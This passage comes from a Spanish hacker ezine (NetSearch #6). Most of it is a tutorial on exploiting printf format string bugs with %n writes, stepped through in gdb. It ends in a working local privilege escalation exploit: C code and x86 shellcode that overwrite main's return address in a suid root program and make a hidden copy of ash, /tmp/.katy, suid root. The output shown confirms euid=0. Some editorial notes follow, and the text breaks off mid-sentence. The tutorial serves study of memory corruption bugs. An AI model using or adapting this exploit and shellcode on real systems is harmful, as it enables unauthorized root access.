Salta hasta una seccion de codigo indicada.
1: goto etiqueta;
2:
...
n: :etiqueta
Olvidate de esto, porque va en contra de todos los estandares de
programacion.
--<->--<->--
Esto es todo por este articulillo. Todas las dudas, sugerencias, insultos,
mandarmelos a mi correo, que ultimamente anda mu vacio...(no voy a pediros
dinero... al menos de momento).
En el proximo numero nos meteremos con algo mas complicadillo, matrices,
punteros y funciones. Espero que os sea leve hasta entonces.
Que os vaya... bonito.
/* Esto no ta acabado ni mucho menos */
/* I'm trying to free your mind, Neo. But I can only show you the door. You're the one
that has to walk through it. */
/* Para cualquier duda johnny_g@usa.com */
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x04 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Bugs de Formato (1/2) ]-=================================================
=-[ por RaiSe ]-=============================================================
----------------
// 0.- Indice
----------------
0.- Indice
1.- Prologo
2.- Introduccion a los Bugs de Formato
3.- Xplotando los Bugs de Formato
4.- Codigo del Xploit final
5.- Despedida
----------------
// 1.- Prologo
----------------
En fin, ya estamos otra vez aqui currandonos un articulillo para el NS Ezine
:). Este es mi sexto articulo (tecnico, x asi decirlo), y la verdad es que a
uno se le acaban las ideas.. Tanto es asi que he decidido retomar un tema que
tenia pensado hace bastante tiempo: los Bugs de Formato.
La idea es que el articulo se divida en dos partes, la primera (esta) sera
una especie de introduccion, y en la segunda se intentara tratar aspectos un
poco mas avanzados.
Por supuesto yo no soy ningun guru, asi que es posible que en este texto haya
algun que otro fallo tecnico (espero que no). Si hay algo que no es correcto
no dudeis en comentarlo por mail; raise@netsearch-ezine.com.
-------------------------------------------
// 2.- Introduccion a los bugs de formato
-------------------------------------------
Bueno bueno.. por donde empiezo? Los bugs de formato se producen (o son
xplotables) cuando un programa realiza una llamada a una funcion *printf sin
especificar su formato. Ejemplo:
char manolo[] = "hola que pasa que tal";
printf(manolo); --> aqui deberia ser printf("%s", manolo);
Resumiendo, todo este embrollo viene por culpa de 'vagos' programadores, que
no tienen la suficiente responsabilidad como para especificar el formato. Por
supuesto me estoy refiriendo a bugs encontrados en aplicaciones actuales, ya
que anteriormente este problema no se conocia, con lo que esos 'otros'
programadores quedan absueltos de responsibilidad :).
Y ahora que ya sabemos a grandes rasgos cuando se producen, veamos mas
detenidamente que pasa cuando ejecutamos el siguiente codigo:
[raise@apolo formats]$ cat > codigo1.c
<++> formats/codigo1.c $a20ab987f4865715cf4ccdecb9d35572
#include <stdio.h>
main()
{
char pepe[] = "hola hola";
printf("%s", pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo1 codigo1.c
[raise@apolo formats]$ gdb -q codigo1
(gdb) disass main
Dump of assembler code for function main:
0x80483e4 <main>: push %ebp
0x80483e5 <main+1>: mov %esp,%ebp
0x80483e7 <main+3>: sub $0x18,%esp
0x80483ea <main+6>: lea 0xfffffff4(%ebp),%edx
0x80483ed <main+9>: mov $0x8048478,%eax
0x80483f2 <main+14>: mov (%eax),%edx
0x80483f4 <main+16>: mov %edx,0xfffffff4(%ebp)
0x80483f7 <main+19>: mov 0x4(%eax),%edx
0x80483fa <main+22>: mov %edx,0xfffffff8(%ebp)
0x80483fd <main+25>: mov 0x8(%eax),%ax
0x8048401 <main+29>: mov %ax,0xfffffffc(%ebp)
0x8048405 <main+33>: add $0xfffffff8,%esp
0x8048408 <main+36>: lea 0xfffffff4(%ebp),%eax
0x804840b <main+39>: push %eax
0x804840c <main+40>: push $0x8048482
0x8048411 <main+45>: call 0x804830c <printf>
0x8048416 <main+50>: add $0x10,%esp
0x8048419 <main+53>: mov %ebp,%esp
0x804841b <main+55>: pop %ebp
0x804841c <main+56>: ret
End of assembler dump.
(gdb) break *0x8048411
(gdb) r
Breakpoint 1, 0x8048411 in main () at codigo1.c:7
7 printf("%s", pepe);
(gdb) x/2xw $esp
0xbffff854: 0x08048482 0xbffff870
Despues de todo este rollo pasemos a explicar.. Lo que hemos hecho ha sido
crear un ultrasimple programa que printea por pantalla un string. Lo
ejecutamos con el gdb y hacemos un break justo antes de la llamada a printf
(con formato - %s). Observamos la pila y vemos que coloca dos direcciones; la
primera corresponde al formato y la segunda al string.
(gdb) x/1s 0x08048482
0x8048482 <_IO_stdin_used+14>: "%s"
(gdb) x/1s 0xbffff870
0xbffff870: "hola hola"
Usease, se supone que siempre que haya un especificador de formato habra
justo despues en la pila (en el momento de llamar a printf) la direccion de
lo que se quiere mostrar (string, entero, o lo que sea). Si hubiesemos puesto
dos especificadores de formato el resultado no seria muy diferente.
Supongamos que hicieramos: printf("%s %s", pepe, pepe);
(gdb) x/3xw $esp
0xbffff854: 0x08048492 0xbffff870 0xbffff870
(gdb) x/1s 0x08048492
0x8048492 <_IO_stdin_used+14>: "%s %s"
(gdb) x/1s 0xbffff870
0xbffff870: "hola hola"
Como vemos, por 'n' especificadores de formato, 'n' direcciones de memoria en
la pila, todo correcto. Ahora veamos que pasa con el siguiente programa sin
formato.
[raise@apolo formats]$ cat > codigo2.c
<++> formats/codigo2.c $0c635047cc55fcb84a74fbfb21346960
#include <stdio.h>
main()
{
char pepe[] = "hola hola";
printf(pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo2 codigo2.c
[raise@apolo formats]$ gdb -q codigo2
[hacemos el break justo en el call printf()]
(gdb) r
Breakpoint 1, 0x804840c in main () at codigo2.c:7
7 printf(pepe);
(gdb) x/2xw $esp
0xbffff854: 0xbffff870 0x00000000
(gdb) x/1s 0xbffff870
0xbffff870: "hola hola"
Ahora solo se usa una direccion de memoria, que es la de la propia variable
pepe. Por lo tanto, si pepe contuviera un modificador de formato, por ejemplo
"%d", se intentaria printear el valor en decimal de la direccion de memoria
contigua en la pila (0x00000000). Probemos a cambiar el valor de pepe[] por
"hola hola %d" (modificando el codigo y recompilando).
(gdb) x/2xw $esp
0xbffff854: 0xbffff86c 0x00000000
(gdb) x/1s 0xbffff86c
0xbffff86c: "hola hola %d"
(gdb) c
Continuing.
hola hola 0
Program exited with code 013.
Efectivamente ha cogido el siguiente valor en la pila y lo ha mostrado por
pantalla (0). Ahora vosotros estareis pensando, todo esto esta muy bien, pero
como podemos hacer para sacarle provecho?.. Veamoslo en el siguiente apartado
:).
--------------------------------------
// 3.- Xplotando los bugs de formato
--------------------------------------
Ahora que ya sabemos como hace el sistema para colocar los especificadores de
formato y variables en la pila para llamar a printf, veamos como xplotarlo.
Por cierto, esta explicacion se basa en printf, pero sirve para cualquier
llamada a *printf (varia un poco la pila obviamente, pero en el fondo es lo
mismo).
Para xplotar un bug de este tipo hay varias formas, pero yo solo explicare
una, ya que este metodo puede decirse que es 'universal' y funciona en casi
todos los casos. Para ello utilizaremos el especificador de formato '%n'.
Como sabreis este formato es un tanto especial, ya que no se usa para
printear nada por pantalla, pero si que lleva un argumento asociado. Dicho
argumento siempre es la direccion de un entero en memoria. Explicado
brevemente lo que hace printf es guardar en el entero el numero de caracteres
que se han mostrado por pantalla. Pongamos un ejemplo:
[raise@apolo formats]$ cat > codigo3.c
<++> formats/codigo3.c $4de446343b3eeae6deaf084207bfa8e4
#include <stdio.h>
main()
{
int a, b;
printf("hola%npepe%n\n", &a, &b);
printf("A: %d, B: %d", a, b);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo3 codigo3.c
Este programa mostrara por pantalla lo siguiente:
holapepe
A: 4, B: 8
Ya que cuando el primer %n se habian mostrado 4 caracteres (hola), y en el
segundo 8 (holapepe). Es decir, con el especificador de formato '%n' podremos
sobreescribir partes de la memoria (teoricamente variables int's que
hayamos declarado nosotros). Volvamos con el gdb y veamos lo q pasa que con
el programa anterior.
[raise@apolo formats]$ gdb -q codigo3
(gdb) disass main
Dump of assembler code for function main:
0x80483e4 <main>: push %ebp
0x80483e5 <main+1>: mov %esp,%ebp
0x80483e7 <main+3>: sub $0x18,%esp
0x80483ea <main+6>: add $0xfffffffc,%esp
0x80483ed <main+9>: lea 0xfffffff8(%ebp),%eax
0x80483f0 <main+12>: push %eax
0x80483f1 <main+13>: lea 0xfffffffc(%ebp),%eax
0x80483f4 <main+16>: push %eax
0x80483f5 <main+17>: push $0x8048478
0x80483fa <main+22>: call 0x804830c <printf>
0x80483ff <main+27>: add $0x10,%esp
0x8048402 <main+30>: add $0xfffffffc,%esp
0x8048405 <main+33>: mov 0xfffffff8(%ebp),%eax
0x8048408 <main+36>: push %eax
0x8048409 <main+37>: mov 0xfffffffc(%ebp),%eax
0x804840c <main+40>: push %eax
0x804840d <main+41>: push $0x8048486
0x8048412 <main+46>: call 0x804830c <printf>
0x8048417 <main+51>: add $0x10,%esp
0x804841a <main+54>: mov %ebp,%esp
0x804841c <main+56>: pop %ebp
0x804841d <main+57>: ret
End of assembler dump.
(gdb) break *0x80483fa // hacemos el break en el primer printf
(gdb) r
Breakpoint 1, 0x80483fa in main () at codigo3.c:7
7 printf("hola%npepe%n\n", &a, &b);
(gdb) x/3xw $esp
0xbffff854: 0x08048478 0xbffff878 0xbffff874
(gdb) x/1s 0x08048478
0x8048478 <_IO_stdin_used+4>: "hola%npepe%n\n"
(gdb) x/2xw 0xbffff874
0xbffff874: 0x40009f50 0xbffff898
Una breve explicacion, la primera direccion de la pila como siempre
corresponde a la cadena de formato, la segunda y la tercera son
respectivamente las variables a y b. Ahora mismo contienen un valor
semialetario (al no haber sido inicializadas a cero). El x/2xw lo hice para
poder ver las dos a la vez en la misma instruccion, ya que estan seguidas en
memoria. Ahora hagamos un break despues del primer printf y continuemos.
(gdb) break *0x80483ff
(gdb) c
Breakpoint 2, 0x80483ff in main () at codigo3.c:7
7 printf("hola%npepe%n\n", &a, &b);
(gdb) x/2xw 0xbffff874
0xbffff874: 0x00000008 0x00000004
Como vemos se han sobreescrito las variables a(4) y b(8), aparecen al reves
por lo que he explicado antes (para no tener que hacer dos 'x/1xw'). Pues
bien, observemos ahora que ocurre si en un printf sin formato incluimos el
especificador '%n'.
[raise@apolo formats]$ cat > codigo4.c
<++> formats/codigo4.c $fd032eadce0a74f3450fb2aa7ca5902b
#include <stdio.h>
main()
{
char pepe = "hola%n";
printf(pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo4 codigo4.c
[raise@apolo formats]$ gdb -q codigo4
[hacemos break justo antes del printf]
(gdb) c
Breakpoint 1, 0x804840c in main () at codigo4.c:7
7 printf(pepe);
(gdb) x/2xw $esp
0xbffff854: 0xbffff874 0x00000000
(gdb) x/1s 0xbffff874
0xbffff874: "hola%n"
Bueno, analicemos.. Teoricamente el programa intentara escribir un 4 en la
posicion de memoria siguiente, es decir 0x00000000, que al estar fuera del
segmento actual producira un segv fault. Veamos si es correcto..
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4005fdd7 in vfprintf () from /lib/libc.so.6
(gdb) x/1i 0x4005fdd7
0x4005fdd7 <vfprintf+2103>: mov %ecx,(%eax)
(gdb) info reg eax
eax 0x0 0
Efectivamente intenta copiar %ecx al contenido de %eax, que al ser null pues
produce el fallo de segmento. Ahora bien, estaria genial que pudieramos
elegir nosotros la direccion donde se va a escribir el byte, y si encima
podemos ir calculando el contenido que se escribe no habria ningun problema
para obtener el control del programa. La duda es, como hacemos para elegir la
direccion destino y el contenido? Muy sencillo, con un pequeÒo programa en C
(o en cualquier lenguaje por supuesto).
Todo esto claro esta no puede usarse sino podemos modificar el contenido de
la variable pepe. Veamos este otro codigo.
[raise@apolo formats]$ cat > codigo5.c
<++> formats/codigo5.c $85a609c5ec743d065656d6c4e1ad36ca
#include <stdio.h>
#include <string.h>
#include <unistd.h>
main()
{
char pepe[1024];
bzero(pepe, 1024);
printf("Programa vulnerable by RaiSe (NS #6 / 0x04)\n\n");
printf("Introduzca cadena: ");
fflush(stdout);
read(0, pepe, 1024);
printf(pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo5 codigo5.c
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: manolo
manolo
[raise@apolo formats]$
Como vemos funciona perfectamente, ahora veamos que ocurre cuando hacemos lo
siguiente.
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: %x %x
bffff49c 400
[raise@apolo formats]$
Analicemos.. por cada %x el programa coge los valores que hay en la pila
detras de la cadena de formato y los printea en hexadecimal. Por lo tanto
teoricamente si lo volvemos a ejecutar y ponemos "pepe%n" se escribira un 0x4
en la direccion de memoria 0xbffff49c, si? Probemos a poner "pepe%n%n", se
escribira dos 0x4, uno en 0xbffff49c y otro en 0x400, con lo que se producira
un segv fault y hara 'core'.
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: pepe%n%n
Violacion de segmento (core dumped)
[raise@apolo formats]$ gdb -q --core=core
Core was generated by `./codigo5'.
Program terminated with signal 11, Violacion de segmento.
#0 0x4005fdd7 in ?? ()
(gdb) x/1xw 0xbffff49c
0xbffff49c: 0x00000004
Efectiviwonder, se ha sobreescrito como pensabamos y luego ha hecho un core
al no poder acceder a la direccion 0x400. Ahora pensemos como podemos elegir
la direccion donde queremos que sobreescriba. Observemos este ejemplo:
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: AAAABBBB %x %x %x %x %x %x %x %x
AAAABBBB bffff49c 400 bffff518 0 0 41414141 42424242 20782520
[raise@apolo formats]$
Analicemos. Hemos puesto AAAABBBB y despues 8 %x, con lo que el programa
printeara 8 direcciones de memoria justo despues del string de formato (como
en este caso no hay sera lo que haya despues de la propia direccion del
buffer pepe). El primer valor (bffff49c), es la direccion del buffer que uso
bzero para rellenar a ceros, y 0x400 el numero de bytes a rellenar (1024 =
0x400). Lo demas hasta llegar a 41414141 son valores arbitrarios que habia
antes de la ejecucion del programa o restos de las llamadas a anteriores
funciones (anteriores printf's, read, etc..).
Cuando empieza a mostrar 41414141 es porque ha llegado a la propia variable
pepe. Es decir, pepe ocupa una direccion en la pila como variable local que
es, y su contenido sera para ser exactos lo que hayamos puesto en 'Introduzca
cadena:', ya que el read lo copia directamente al buffer pepe. Pues bien, en
el ultimo printf al empezar a hacer %x, va cogiendo valores que encuentra en
la pila (los que hay detras de la direccion de pepe, recordemos que sino se
especifica formato printf() hace un pushl de la direccion del buffer a
imprimir). Una vez que llega a pepe printea su valor en hexadecimal, que en
este caso es 41414141 y 42424242 (AAAABBBB). El ultimo valor (20782520)
corresponde al string ' %x '.
Todo esto tiene un proposito, y es que si en vez de AAAA ponemos una
direccion de memoria, y en vez de ocho '%x' ponemos cinco '%x' y un '%n', lo
que estaremos haciendo sera sobreescribir la direccion que especificamos con
el valor 0xe. Es decir, 4 bytes de la direccion de memoria + 10 bytes de los
'%x' = 0xe = 14. Los '%x' se ponen para ir 'saltando' por la pila hasta
encontrarnos en la direccion que queremos sobreescribir. No se si me explico..
Probemos un ejemplo sencillo, sabemos que la direccion de pepe[] es
0xbffff49c, no? Intentemos esto otro:
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: AAAABBBB %n %x %x %x %x %x %x %x %x
AAAABBBB 400 bffff518 0 0 9 42424242 206e2520 25207825
[raise@apolo formats]$ ^
Hemos usado la direccion que ya teniamos en la pila para sobreescribir la
propia variable pepe[] con 0x00000009 (AAAABBBB + espacio).
Ahora pensemos un metodo para poder sobreescribir lo que queramos en vez de
0x9. Observemos este codigo:
[raise@apolo formats]$ cat > xp1.c
<++> formats/xp1.c $88eab1fea37b934cc0b10274567a3fe5
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
char b1[255];
char b2[255];
char b3[255];
char b4[255];
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 0, 255);
memset(b1, '\x90', 0x99 - 0x10 - 0x28);
memset(b2, '\x90', 0xf0 - 0x99);
memset(b3, '\x90', 0xff - 0xf0);
memset(b4, '\x90', 0x1bf - 0xff);
/* queremos sobreescribir pepe[16] en codigo5 con el valor
0xbffff099 */
sleep(1);
printf( "\xac\xf4\xff\xbf"
"\xad\xf4\xff\xbf"
"\xae\xf4\xff\xbf"
"\xaf\xf4\xff\xbf"
"%%8x%%8x%%8x%%8x%%8x"
"%s%%n"
"%s%%n"
"%s%%n"
"%s%%n"
" %%x"
, b1, b2, b3, b4);
}
<-->
[raise@apolo formats]$
Bueno.. ahora empieza lo bueno. Puede que al principio este codigo sea un
poco dificil de entender, pero realmente parece mas complicado de lo que en
realidad es. Veamos..
Como vamos a sobreescribir 4 direcciones de memoria con un valor entre 0 y
0xff (255), declaramos 4 arrays de 255 caracteres que usaremos para ir
rellenando. Los rellenamos a ceros para no tener que preocuparnos luego por
el '\0' del final del string. Queremos sobreescribir la direccion de memoria
pepe[16], es decir 0xbffff49c + 16 = 0xbffff4ac, con el valor 0xbffff099.
Este ultimo valor lo escogi aleatoriamente, solo es para que veamos que
realmente sobreescribe. Rellenamos los arrays de una forma un tanto
peculiar.. fijandonos en el printf de luego analicemos:
. Lo primero que contendra el buffer pepe sera las 4 direcciones a
sobreescribir, es decir, 16 = 0x10 bytes.
. En la primera (0xbffff4ac) queremos sobreescribir el valor 0x99, ya que en
procesadores x86 como sabemos se usa little endian. Entonces para escribir el
valor 0x99, antes del %n necesitamos printear ese numero de bytes. Ya hemos
printeado 0x10 de las direcciones de memoria, pero vamos a tener que printear
unos cuantos mas. Me estoy refiriendo a los cinco '%x' que tendremos que
poner para 'saltar' por la pila hasta llegar a la propia variable pepe. Si
ponemos cinco '%x' a secas no sabremos cuantos bytes estaremos printeando, ya
que puede ir desde uno a ocho, por lo tanto pondremos '%8x'. De esta forma si
el numero a printear ocupa menos de 8 caracteres en pantalla se rellenara con
espacios. Resumiendo, ya hemos printeado 0x38 bytes (16 + 5*8). Por lo tanto
necesitaremos setear el array b1 a 0x99 - 0x38, lo imprimimos por pantalla
seguido del '%n' y ya tenemos el primer valor sobreescrito.
. Acto seguido queremos sobreescribir 0xf0, por lo que necesitaremos printear
0xf0 - 0x99 que ya se han printeado. Seteamos b2 a ese valor, lo imprimimos
por pantalla seguido de '%n' y ya tenemos el segundo valor sobreescrito.
. Tercero, 0xff. Seteamos a 0xff - 0xf0, printeamos seguido de '%n' y ya esta
el tercer valor.
. Cuarto, 0xbf. Ya se han imprimido 0xff, como hacemos para conseguir 0xbf
sino podemos restar 0xbf - 0xff ?. Pues muy sencillo, necesitamos printear
0x1bf. En memoria se escribira 0x1bf, el 0x1 se guardara en 0xbffff4b0, pero
a nosotros no nos importa en absoluto, ya que no nos molestara para conseguir
nuestro objetivo. Seteamos a 0x1bf - 0xff, printeamos seguido de '%n' y ya
esta :).
Ahora probemos lo siguiente a ver si funciona..
(le he quitado algunos caracteres que no eran alfanumericos)
[raise@apolo formats]$ gcc -o xp1 xp1.c
[raise@apolo formats]$ ./xp1 | ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: xxxxxxxxxxxxxxxxbffff49c 400bffff518 0
0xxxxxxxxxxxxxxxxxxaqui van todos los nopsxxxxxxxxxxxxxxxxxxxxxxxxxxxx
bffff099
[raise@apolo formats]$
Veamos, con los cinco '%8x' salta hasta la direccion de pepe, despues con los
cuatro '%n' sobreescribe y salta a la vez, con lo que en el ultimo '%x'
printeamos el contenido de pepe[16], que como podemos vemos es lo que
habiamos querido sobreescribir :).
Ahora seamos un poco mas maquiavelicos, intentemos sobreescribir la direccion
de retorno de main con la direccion de una shellcode. Dicha scode la
meteremos despues del cuarto '%n'. Justo antes de cada '%n' pondremos
"\xeb\x02", que corresponden a la instruccion en asm 'jmp 0x2'. De esta forma
si el programa salta a un nop no petara cuando llegue al especificador de
formato, sino que lo saltara y seguira bajando hasta la scode. Por supuesto a
cada seteo de los arrays tendremos que restarle ahora tambien 0x2. La dire de
retorno la sacamos con el gdb (por ejemplo). Hay que tener en cuenta que
entre ejecutar el codigo5 bajo gdb o no, hay una pequeÒa diferencia en cuanto
a direcciones de memoria, por lo tanto lo mejor para sacar la dire de retorno
es hacer lo siguiente:
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: AAAA%n%n%n%n%n%n -> para asegurarnos que haga core
Violacion de segmento (core dumped)
[raise@apolo formats]$ gdb -q --core=core
Core was generated by `./codigo5'.
Program terminated with signal 11, Violacion de segmento.
#0 0x4005fdd7 in ?? ()
(gdb) bt
#0 0x4005fdd7 in ?? ()
#1 0x40067088 in ?? ()
#2 0x804851d in ?? ()
#3 0x40039cbe in ?? ()
(gdb) x/2xw $ebp
0xbffff44c: 0xbffff47c 0x40067088
(gdb) x/2xw 0xbffff47c
0xbffff47c: 0xbffff89c 0x0804851d
(gdb) x/2xw 0xbffff89c
0xbffff89c: 0xbffff8d8 0x40039cbe
^^^^^^^^^^
La direccion de retorno del main (a la que salta) es 0x40039cbe. Nosotros
dentro del core estamos dentro de dos funciones (vfprintf y printf
seguramente), por lo que siguiendo los %ebp's salvados en la pilla llegamos
al del main. Resultado, la direccion de retorno del main es 0xbffff89c + 4 =
0xbffff8a0. Y ahora que ya sabemos la direccion que debemos sobreescribir
debemos elegir 'que' escribiremos. Veamos, si la dire de pepe es 0xbffff49c
le deberemos sumar un valor X para saltarnos las cuatro direcciones y los
cinco '%8x', pongamos 64 por ejemplo, 0xbffff49c + 64 = 0xbffff4dc. Asi nos
aseguramos que salte a un 'nop'.
Ahora solo falta realizar el xploit final..
--------------------------------
// 4.- Codigo del Xploit final
--------------------------------
Antes de ponernos a 'coddear' cabe hacer un pequeÒo comentario sobre el shell
de comandos 'bash'. Todo empezo cuando yo ya me estaba tirando de los pelos
por un problemilla que estaba teniendo al realizar este articulo. Para ser
exactos dire que era incapaz de 'pillar' euid (uid efectivo) de root (0) al
ejecutar con una shellcode '/bin/sh'. Como ya estaba un pelin cansado decidi
probar como root a setear una shell con suid 0 y ejecutarla con un usuario
normal. Sorpresa.. era imposible coger euid 0, la propia bash seteaba
internamente el valor del euid al del uid original que habia ejecutado la
shell. Yo al principio pensaba que era un parche que habian metido desde el
kernel 2.2.18 en adelante, pero hablandolo con Sp4rK llegamos a la conclusion
de que era la shell.
El bash que esta comprobado que no rula es la version 2.04.12(1), mientras
que con otras shells como ash o bash version 2.03.0(1) rula perfectamente.
Como en el xploit no podia hacer el tipico execve de '/bin/sh' por lo que
acabo de mencionar, decidi rescatar una shellcode que tenia por ahi olvidada.
Dicha scode lo que hace es setear el binario '/tmp/.katy' con suid root, el
cual sera una copia de '/bin/ash' que habremos hecho previamente. Desconozco
si la shell ash viene en todos los linux por defecto, al menos en el mio
viene. Si tienes una version valida de bash puedes probar a ver si te
funciona..
Bueno, despues de esta pequeÒa aclaracion ya podemos empezar a escribir
codigo :).
[Nota: obviamente le damos suid root a codigo5 pq sino no tendria
gracia.]
[raise@apolo formats]$ cp /bin/ash /tmp/.katy
[raise@apolo formats]$ ls -l /tmp/.katy
-rwxr-xr-x 1 raise raise 65340 may 8 22:29 /tmp/.katy*
[raise@apolo formats]$ cat > xp2.c
<++> formats/xp2.c $8deb5856b7c166abc5825561b056d880
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
char shellcode[] = // by RaiSe
"\xeb\x21\x5f\x31\xc0\x31\xd2\x31\xc9\x88\x57\x0a\x89\xfb\xb0\xb6"
"\xcd\x80\x66\xb9\x01\x08\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\x40\x31"
"\xdb\xcd\x80\xe8\xda\xff\xff\xff/tmp/.katy";
char b1[255];
char b2[255];
char b3[255];
char b4[255];
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 0, 255);
memset(b1, '\x90', 0xdc - 0x10 - 0x28 - 0x2);
memset(b2, '\x90', 0xf4 - 0xdc - 0x2);
memset(b3, '\x90', 0xff - 0xf4 - 0x2);
memset(b4, '\x90', 0x1bf - 0xff - 0x2);
/* queremos sobreescribir 0xbffff8a0 en codigo5 con el valor
0xbffff4dc (para dejar un margen de 64 bytes respecto a la
direccion pepe[0]) */
sleep(1);
printf( "\xa0\xf8\xff\xbf"
"\xa1\xf8\xff\xbf"
"\xa2\xf8\xff\xbf"
"\xa3\xf8\xff\xbf"
"%%8x%%8x%%8x%%8x%%8x"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s"
, b1, b2, b3, b4, shellcode);
fflush(stdout);
}
<-->
[raise@apolo formats]$ gcc -o xp2 xp2.c
[raise@apolo formats]$ ./xp2 | ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: xxxxxxxxxxxxxnops,etc.xxxxxxxxxxxxxxxxxxxx
[raise@apolo formats]$ ls -l /tmp/.katy
---S-----x 1 root root 65340 may 8 22:29 /tmp/.katy*
[raise@apolo formats]$ /tmp/.katy
[\u@\h \W]\$ id
uid=501(raise) gid=501(raise) euid=0(root) grupos=501(raise)
Como vemos ha funcionado bastante bien. Del xploit hay poco que comentar
porque practicamente no hay nada nuevo, lo unico la shellcode y las
parejas de dos bytes "\xeb\x02" justo antes de cada '%n'. Lo demas ya lo
habiamos visto anteriormente, la unica diferencia es que ahora lo hemos
aprovechado para hacer algo un poco mas divertido :).
Por supuesto este xploit es muy poco probable que funcione en tu maquina, ya
que las direcciones de retorno/scode varian de un ordenador a otro. Si
quieres que te rule adapta el xploit a tu maquina, solo tienes que averiguar
las direcciones (con el gdb for example). Para sacar la dire de retorno por
el metodo que yo use deberas hacerlo antes de setear codigo5 con suid root,
porque sino lo mas probable es que no haga core. En una caso hipotetico de
que ya estuviera seteado se solucionaria facilmente, solo habria que copiar
el binario a tu directorio y ejecutarlo desde ahi, de esa forma si que haria
core y la direccion de retorno no variaria.
------------------
// 5.- Despedida
------------------
Como habia dicho al principio de este articulo, en NS #7 habra segunda parte,
donde se trataran algunos temas un poco mas complejos. Algunos de esos temas
seran: metodos para averiguar la direccion de retorno sin usar gdb, que pasa
cuando la direccion que quieres sobreescribir no esta alineada (pads), etc.
Mientras tanto tendreis que conformaros con este articulillo, que sin
pretender ser de los mejores, espero que sirva para aquellos que estan
empezando con este tipo de overflows.
Pues nada, ha sido un placer :). Os recuerdo que dudas, comentarios,
criticas, etc. sobre el articulo las podeis enviar a la direccion:
raise@netsearch-ezine.com.
Un saludo a tod@s.
RaiSe
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x05 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ NetSearch al habla ]-====================================================
=-[ por NetSearch ]-=========================================================
Buenas :). Como no se me ocurre nada que decir empezare esta seccion
recordando las cosas 'tipicas' que suelo comentar en la editorial o en este
apartado (NetSearch al habla).
Pues bien.. Comencemos con las caracteristicas 'tecnicas' necesarias que
tiene que tener un articulo para ser publicado en el ezine. Lo de las 77
columnas parece que no ha quedado del todo claro, porque nos siguen llegando
algun que otro articulo con un numero superior.. De todas formas los
documentos se 'retocan' un poco por el editor (usease yo) en caso de que
lleven acentos, tema de columnas, etc. Por supuesto si los textos cumplieran
todo perfectamente su revision seria mucho mas rapido, y nos podriamos
dedicar a otras cosas mas fructiferas. Asi que ya sabeis, a escribir a 77
columnas tocan ;).
La lista de caracteristicas optimas de un articulo son:
+ Estar escritos con un maximo de 77 columnas.
+ No usar caracteres fuera del estandar ASCII (7 bits) a excepcion de
la eÒe. Es decir, nada de acentos ;).
+ Siempre que el texto se base en otro ya publicado primero se consul-
tara con el autor del mismo, y en caso de que no tenga inconveniente
se procedera a su publicacion citando la fuente en el articulo. Lo
mismo para una traduccion, con la particularidad de que en este caso se
indicara claramente que se trata de una traduccion.
+ Intentar no usar formas 'raras' de expresion, algo asi como: "0la ke
t4L? s0y Ch4CH1". Se puede pasar alguna que otra (escribir ke en vez
de que, etc.) pero si el texto llega a ser ilegible.. chungo.
Aprovecho para recordaros que si quereis contactar con los miembros del
staff, ya sea para enviar alguna sugerencia, critica, comentario, etc.,
podeis hacerlo mandando un mail a la direccion: <staff@netsearch-ezine.com>.
Si por el contrario quereis mandar un articulo lo ideal seria que se lo
enviarais directamente al editor (por el tema de filtros y demas), a la
siguiente direccion: <editor@netsearch-ezine.com>.
Mm.. q mas?..
Os recuerdo tambien tres cosillas 'de siempre'. La primera es que podeis
apuntaros a nuestra lista de correo en yahoogroups, abierta a todo el que
quiera participar. Para inscribiros solo teneis que dirigiros a la direccion
'http://groups.yahoo.com/subscribe/netsearch'. La segunda es que si preferis
tener cada articulo en un fichero por separado podeis conseguirlo con solo
ejecutar: "nextract -s ns006.txt" (el codigo del nextract siempre acompaÒa al
ezine). Y la tercera es que si quereis daros de alta en el desafio de RC5-64
de distributed.net podeis apuntaros a nuestro 'team'; nuestro numero de
identificacion es el 11007.
Cambiando de tema.. El dia 6 de Agosto empieza (como muchos sabran) la
campus-party en Valencia. Durara casi una semana, hasta el dia 12 para ser
exactos. Alli los (afortunados) presentes disfrutaran de cosas como:
campeonatos en red, charlas, conexion a Internet a alta velocidad, concursos,
etc. Por supuesto el staff de NetSearch Ezine estara practicamente al
completo :), asi que nos veremos por alli..
Sigamos.. Me imagino que os habreis enterado del 'hackeo' a la que se vio
sometido el ezine electronico SET, aproximadamente el 2 de Junio. En realidad
lo que paso (para los que no esten informados) fue que les 'robaron' el
dominio usando ingenieria social en Network Solutions, siendo practicamente
